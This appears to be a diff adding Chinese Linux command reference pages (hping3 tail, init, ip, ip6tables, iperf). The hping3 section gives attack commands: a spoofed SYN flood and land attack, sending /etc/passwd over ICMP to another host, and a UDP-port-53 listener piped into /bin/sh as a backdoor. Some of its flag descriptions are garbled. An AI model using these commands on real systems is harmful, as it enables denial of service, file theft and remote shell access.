-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
|
||||
-n -nmeric 数字输出,象征性输出主机地址。
|
||||
-q -quiet 退出。
|
||||
-I --interface interface name 无非就是eth0之类的参数。
|
||||
-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
|
||||
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
|
||||
-z --bind 快捷键的使用。
|
||||
-Z --unbind 消除快捷键。
|
||||
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
|
||||
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
|
||||
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
|
||||
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
|
||||
-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
|
||||
-t --ttl time to live 可以指定发出包的TTL值。
|
||||
-H --ipproto 在RAW IP模式里选择IP协议。
|
||||
-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
|
||||
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
|
||||
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
|
||||
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
|
||||
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
|
||||
-G --fragoff fragment offset value set the fragment offset
|
||||
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
|
||||
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
|
||||
-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
|
||||
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
|
||||
--icmp-ipver 把IP版本也插入IP头。
|
||||
--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
|
||||
--icmp-iplen 设置IP包长度。
|
||||
--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
|
||||
--icmp-ipproto 设置协议的,缺省是TCP。
|
||||
-icmp-cksum 设置校验和。
|
||||
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
|
||||
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
|
||||
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
|
||||
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
|
||||
--keep 上面说过了。
|
||||
-w --win 发的大小和windows一样大,64BYTE。
|
||||
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
|
||||
-m --tcpseq 设置TCP序列数。
|
||||
-l --tcpck 设置TCP ack。
|
||||
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
|
||||
```
|
||||
|
||||
### Hping3功能
|
||||
|
||||
Hping3主要有以下典型功能应用:
|
||||
|
||||
#### 防火墙测试
|
||||
|
||||
使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html
|
||||
|
||||
测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。
|
||||
|
||||
```
|
||||
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
|
||||
```
|
||||
|
||||
#### 端口扫描
|
||||
|
||||
Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:
|
||||
|
||||
```
|
||||
hping3 -I eth0 -S 192.168.10.1 -p 80
|
||||
```
|
||||
|
||||
其中`-I eth0`指定使用eth0端口,`-S`指定TCP包的标志位SYN,`-p 80`指定探测的目的端口。
|
||||
|
||||
hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。
|
||||
|
||||
#### Idle扫描
|
||||
|
||||
Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。
|
||||
|
||||
该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。
|
||||
|
||||
#### 拒绝服务攻击
|
||||
|
||||
使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。
|
||||
|
||||
```
|
||||
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
|
||||
```
|
||||
|
||||
其他攻击如smurf、teardrop、land attack等也很容易构建出来。
|
||||
|
||||
#### 文件传输
|
||||
|
||||
Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:
|
||||
|
||||
```
|
||||
hping3 192.168.1.159--listen signature --safe --icmp
|
||||
```
|
||||
|
||||
监听ICMP包中的签名,根据签名解析出文件内容。
|
||||
|
||||
在发送端使用签名打包的ICMP包发送文件:
|
||||
|
||||
```
|
||||
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
|
||||
```
|
||||
|
||||
将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。
|
||||
|
||||
#### 木马功能
|
||||
|
||||
如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。
|
||||
|
||||
示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。
|
||||
|
||||
在木马启动端:
|
||||
|
||||
```
|
||||
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
|
||||
```
|
||||
|
||||
在远程控制端:
|
||||
|
||||
```
|
||||
echo ls >test.cmd
|
||||
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
|
||||
```
|
||||
|
||||
将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。
|
||||
|
||||
当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,50 @@
|
|||
init
|
||||
===
|
||||
|
||||
init进程是所有Linux进程的父进程
|
||||
|
||||
## 补充说明
|
||||
|
||||
**init命令** 是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一,init进程是Linux内核引导运行的,是系统中的第一个进程。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
init(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-b:不执行相关脚本而直接进入单用户模式;
|
||||
-s:切换到单用户模式。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
运行等级:指定Linux系统要切换到的运行等级。
|
||||
|
||||
### 实例
|
||||
|
||||
几个常用的命令
|
||||
|
||||
查看系统进程命令:`ps -ef | head`
|
||||
查看init的配置文件:`more /etc/inittab`
|
||||
查看系统当前运行的级别:`runlevel`
|
||||
|
||||
**运行级别**
|
||||
|
||||
到底什么是运行级呢?简单的说,运行级就是操作系统当前正在运行的功能级别。这个级别从0到6 ,具有不同的功能。你也可以在`/etc/inittab`中查看它的英文介绍。
|
||||
|
||||
```
|
||||
#0 停机(千万不能把initdefault 设置为0)
|
||||
#1 单用户模式
|
||||
#2 多用户,没有 NFS(和级别3相似,会停止部分服务)
|
||||
#3 完全多用户模式
|
||||
#4 没有用到
|
||||
#5 x11(Xwindow)
|
||||
#6 重新启动(千万不要把initdefault 设置为6)
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
ip
|
||||
===
|
||||
|
||||
网络配置工具
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ip命令** 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道,是Linux下较新的功能强大的网络配置工具。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ip(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-V:显示指令版本信息;
|
||||
-s:输出更详细的信息;
|
||||
-f:强制使用指定的协议族;
|
||||
-4:指定使用的网络层协议是IPv4协议;
|
||||
-6:指定使用的网络层协议是IPv6协议;
|
||||
-0:输出信息每条记录输出一行,即使内容较多也不换行显示;
|
||||
-r:显示主机时,不使用IP地址,而使用主机的域名。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
```
|
||||
网络对象:指定要管理的网络对象;
|
||||
具体操作:对指定的网络对象完成具体操作;
|
||||
help:显示网络对象支持的操作命令的帮助信息。
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
**用ip命令显示网络设备的运行状态**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ip link list
|
||||
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
|
||||
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
|
||||
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
|
||||
link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff
|
||||
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
|
||||
link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff
|
||||
```
|
||||
|
||||
**显示更加详细的设备信息**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ip -s link list
|
||||
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
|
||||
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
|
||||
RX: bytes packets errors dropped overrun mcast
|
||||
5082831 56145 0 0 0 0
|
||||
TX: bytes packets errors dropped carrier collsns
|
||||
5082831 56145 0 0 0 0
|
||||
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
|
||||
link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff
|
||||
RX: bytes packets errors dropped overrun mcast
|
||||
3641655380 62027099 0 0 0 0
|
||||
TX: bytes packets errors dropped carrier collsns
|
||||
6155236 89160 0 0 0 0
|
||||
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
|
||||
link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff
|
||||
RX: bytes packets errors dropped overrun mcast
|
||||
2562136822 488237847 0 0 0 0
|
||||
TX: bytes packets errors dropped carrier collsns
|
||||
3486617396 9691081 0 0 0 0
|
||||
```
|
||||
|
||||
**显示核心路由表**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ip route list
|
||||
112.124.12.0/22 dev eth1 proto kernel scope link src 112.124.15.130
|
||||
10.160.0.0/20 dev eth0 proto kernel scope link src 10.160.7.81
|
||||
192.168.0.0/16 via 10.160.15.247 dev eth0
|
||||
172.16.0.0/12 via 10.160.15.247 dev eth0
|
||||
10.0.0.0/8 via 10.160.15.247 dev eth0
|
||||
default via 112.124.15.247 dev eth1
|
||||
```
|
||||
|
||||
**显示邻居表**
|
||||
|
||||
```
|
||||
[root@localhost ~]# ip neigh list
|
||||
112.124.15.247 dev eth1 lladdr 00:00:0c:9f:f3:88 REACHABLE
|
||||
10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
ip6tables-restore
|
||||
===
|
||||
|
||||
还原ip6tables表
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ip6tables-restore命令** 用来还原ip6tables表。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ip6tables-restore(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-c:指定在还原iptables表时,还原当前的数据包计数器和字节计数器值;
|
||||
-t:指定要还原的表的名称。
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
ip6tables-save
|
||||
===
|
||||
|
||||
保存ip6tables表配置
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ip6tables-save命令** 将Linux内核中ip6tables表导出到标准输出设备上。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ip6tables-save(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-c:指定在保存iptables表时,保存当前的数据包计数器和字节计数器值;
|
||||
-t:指定要保存的表的名称。
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,206 @@
|
|||
ip6tables
|
||||
===
|
||||
|
||||
linux中防火墙软件
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ip6tables命令** 和iptables一样,都是linux中防火墙软件,不同的是ip6tables采用的TCP/ip协议为IPv6。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ip6tables(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-t<表>:指定要操纵的表;
|
||||
-A:向规则链中添加条目;
|
||||
-D:从规则链中删除条目;
|
||||
-i:向规则链中插入条目;
|
||||
-R:替换规则链中的条目;
|
||||
-L:显示规则链中已有的条目;
|
||||
-F:清楚规则链中已有的条目;
|
||||
-Z:清空规则链中的数据包计算器和字节计数器;
|
||||
-N:创建新的用户自定义规则链;
|
||||
-P:定义规则链中的默认目标;
|
||||
-h:显示帮助信息;
|
||||
-p:指定要匹配的数据包协议类型;
|
||||
-s:指定要匹配的数据包源ip地址;
|
||||
-j<目标>:指定要跳转的目标;
|
||||
-i<网络接口>:指定数据包进入本机的网络接口;
|
||||
-o<网络接口>:指定数据包要离开本机所使用的网络接口。
|
||||
-c<计数器>:在执行插入操作(insert),追加操作(append),替换操作(replace)时初始化包计数器和字节计数器。
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置:
|
||||
|
||||
```
|
||||
ip6tables -nl --line-numbers
|
||||
```
|
||||
|
||||
**/etc/sysconfig/ip6tables文件**
|
||||
|
||||
使用编辑器编辑`/etc/sysconfig/ip6tables`文件:
|
||||
|
||||
```
|
||||
vi /etc/sysconfig/ip6tables
|
||||
```
|
||||
|
||||
可能会看到下面的默认 ip6tables 规则:
|
||||
|
||||
```
|
||||
*filter
|
||||
:INPUT accept [0:0]
|
||||
:FORWARD ACCEPT [0:0]
|
||||
:OUTPUT ACCEPT [0:0]
|
||||
:RH-Firewall-1-INPUT - [0:0]
|
||||
-A INPUT -j RH-Firewall-1-INPUT
|
||||
-A FORWARD -j RH-Firewall-1-INPUT
|
||||
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -p icmpv6 -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -p 50 -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -p 51 -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -p udp --dport 5353 -d ff02::fb -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -p udp -m udp --dport 32768:61000 -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 32768:61000 ! --syn -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 22 -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -j reject --reject-with icmp6-adm-prohibited
|
||||
COMMIT
|
||||
```
|
||||
|
||||
与 IPv4 的 iptables 规则类似,但又不完全相同。
|
||||
|
||||
要开启 80 端口(HTTP 服务器端口),在 COMMIT 一行之前添加如下规则:
|
||||
|
||||
```
|
||||
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT
|
||||
```
|
||||
|
||||
`-p tcp`表示仅针对 tcp 协议的通信。`--dport`指定端口号。
|
||||
|
||||
要开启 53 端口(DNS 服务器端口),在 COMMIT 一行之前添加如下规则:
|
||||
|
||||
```
|
||||
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT
|
||||
-A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT
|
||||
```
|
||||
|
||||
同时针对 tcp 和 udp 协议开启 53 端口。
|
||||
|
||||
要开启 443 端口,在 COMMIT 一行之前添加如下规则:
|
||||
|
||||
```
|
||||
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT
|
||||
```
|
||||
|
||||
要开启 25 端口(SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则:
|
||||
|
||||
```
|
||||
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT
|
||||
```
|
||||
|
||||
对于那些没有特定规则与之匹配的数据包,可能是我们不想要的,多半是有问题的。我们可能也希望在丢弃(DROP)之前记录它们。此时,可以将最后一行:
|
||||
|
||||
```
|
||||
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited
|
||||
COMMIT
|
||||
```
|
||||
|
||||
改为:
|
||||
|
||||
```
|
||||
-A RH-Firewall-1-INPUT -j LOG
|
||||
-A RH-Firewall-1-INPUT -j DROP
|
||||
COMMIT
|
||||
```
|
||||
|
||||
保存并关闭该文件。然后重新启动 ip6tables 防火墙:
|
||||
|
||||
```
|
||||
# service ip6tables restart
|
||||
```
|
||||
|
||||
然后重新查看 ip6tables 规则,可以看到如下所示的输出:
|
||||
|
||||
```
|
||||
# ip6tables -vnL --line-numbers
|
||||
```
|
||||
|
||||
输出示例:
|
||||
|
||||
```
|
||||
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
|
||||
num pkts bytes target prot opt in out source destination
|
||||
1 42237 3243K RH-Firewall-1-INPUT all * * ::/0 ::/0
|
||||
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
|
||||
num pkts bytes target prot opt in out source destination
|
||||
1 0 0 RH-Firewall-1-INPUT all * * ::/0 ::/0
|
||||
Chain OUTPUT (policy ACCEPT 12557 packets, 2042K bytes)
|
||||
num pkts bytes target prot opt in out source destination
|
||||
Chain RH-Firewall-1-INPUT (2 references)
|
||||
num pkts bytes target prot opt in out source destination
|
||||
1 6 656 ACCEPT all lo * ::/0 ::/0
|
||||
2 37519 2730K ACCEPT icmpv6 * * ::/0 ::/0
|
||||
3 0 0 ACCEPT esp * * ::/0 ::/0
|
||||
4 0 0 ACCEPT ah * * ::/0 ::/0
|
||||
5 413 48385 ACCEPT udp * * ::/0 ff02::fb/128 udp dpt:5353
|
||||
6 0 0 ACCEPT udp * * ::/0 ::/0 udp dpt:631
|
||||
7 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:631
|
||||
8 173 79521 ACCEPT udp * * ::/0 ::/0 udp dpts:32768:61000
|
||||
9 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpts:32768:61000 flags:!0x16/0x02
|
||||
10 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:22
|
||||
11 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:80
|
||||
12 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:53
|
||||
13 4108 380K ACCEPT udp * * ::/0 ::/0 udp dpt:53
|
||||
14 18 4196 REJECT all * * ::/0 ::/0
|
||||
```
|
||||
|
||||
**IPv6 私有 IP**
|
||||
|
||||
IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 的地址非常丰富,不再需要使用类似 NAT 等协议的私有网络。这样一来,所有的内部主机都可以拥有公网 IP 而直接连接到互联网,也就同时暴露于互联网上的各种威胁之中了。那么,如何配置 IPv6 防火墙使其默认将除了 ping6 请求之外的所有输入数据包都丢弃呢?可以使用FC00::/7 前缀来标识本地 IPv6 单播地址。
|
||||
|
||||
**允许特定的 ICMPv6 通信**
|
||||
|
||||
使用 IPv6 的时候需要允许比 IPv4 更多类型的 ICMP 通信以保证路由和 IP 地址自动配置等功能正常工作。有时候,如果你的规则设置太过苛刻,可能都无法分配到正确的 IPv6 地址。当然,不使用 DHCP 而是手动配置 IP 地址的除外。
|
||||
|
||||
下面是一些比较常见的 ipv6-icmp 配置实例:
|
||||
|
||||
```
|
||||
:ICMPv6 - [0:0]
|
||||
# Approve certain ICMPv6 types and all outgoing ICMPv6
|
||||
# http://forum.linode.com/viewtopic.php?p=39840#39840
|
||||
-A INPUT -p icmpv6 -j ICMPv6
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type echo-request -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-solicitation -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type redirect -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 141 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 142 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 148 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 149 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 130 -s fe80::/10 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 131 -s fe80::/10 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 132 -s fe80::/10 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 143 -s fe80::/10 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 151 -s fe80::/10 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 152 -s fe80::/10 -j ACCEPT
|
||||
-A ICMPv6 -p icmpv6 --icmpv6-type 153 -s fe80::/10 -j ACCEPT
|
||||
-A ICMPv6 -j RETURN
|
||||
-A OUTPUT -p icmpv6 -j ACCEPT
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,399 @@
|
|||
iperf
|
||||
===
|
||||
|
||||
网络性能测试工具
|
||||
|
||||
## 补充说明
|
||||
|
||||
**iperf命令** 是一个网络性能测试工具。iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具有多种参数和UDP特性。iperf可以报告带宽,延迟抖动和数据包丢失。利用iperf这一特性,可以用来测试一些网络设备如路由器,防火墙,交换机等的性能。
|
||||
|
||||
iperf分为两种版本,Unix/Linux版和Windows版,Unix/Linux版更新比较快,版本最新。Windows版更新慢。Windows版的iperf叫jperf,或者xjperf。jperf是在iperf基础上开发了更好的UI和新的功能。
|
||||
|
||||
Linux版本下载地址:http://code.google.com/p/iperf/downloads/list
|
||||
|
||||
### 安装iperf
|
||||
|
||||
对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装:
|
||||
|
||||
```
|
||||
gunzip -c iperf-<version>.tar.gz | tar -xvf -
|
||||
cd iperf-<version>
|
||||
./configure
|
||||
make
|
||||
make install
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
<table>
|
||||
|
||||
<tbody>
|
||||
|
||||
<tr>
|
||||
|
||||
<th>命令行选项</th>
|
||||
|
||||
<th>描述</th>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>客户端与服务器共用选项</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-f, --format [bkmaBKMA]</td>
|
||||
|
||||
<td>格式化带宽数输出。支持的格式有:
|
||||
'b' = bits/sec 'B' = Bytes/sec
|
||||
'k' = Kbits/sec 'K' = KBytes/sec
|
||||
'm' = Mbits/sec 'M' = MBytes/sec
|
||||
'g' = Gbits/sec 'G' = GBytes/sec
|
||||
'a' = adaptive bits/sec 'A' = adaptive Bytes/sec
|
||||
自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。
|
||||
注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-i, --interval #</td>
|
||||
|
||||
<td>设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-l, --len #[KM]</td>
|
||||
|
||||
<td>设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-m, --print_mss</td>
|
||||
|
||||
<td>输出TCP MSS值(通过TCP_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-p, --port #</td>
|
||||
|
||||
<td>设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-u, --udp</td>
|
||||
|
||||
<td>使用UDP方式而不是TCP方式。参看-b选项。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-w, --window #[KM]</td>
|
||||
|
||||
<td>设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-B, --bind host</td>
|
||||
|
||||
<td>绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-C, --compatibility</td>
|
||||
|
||||
<td>与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-N, --nodelay</td>
|
||||
|
||||
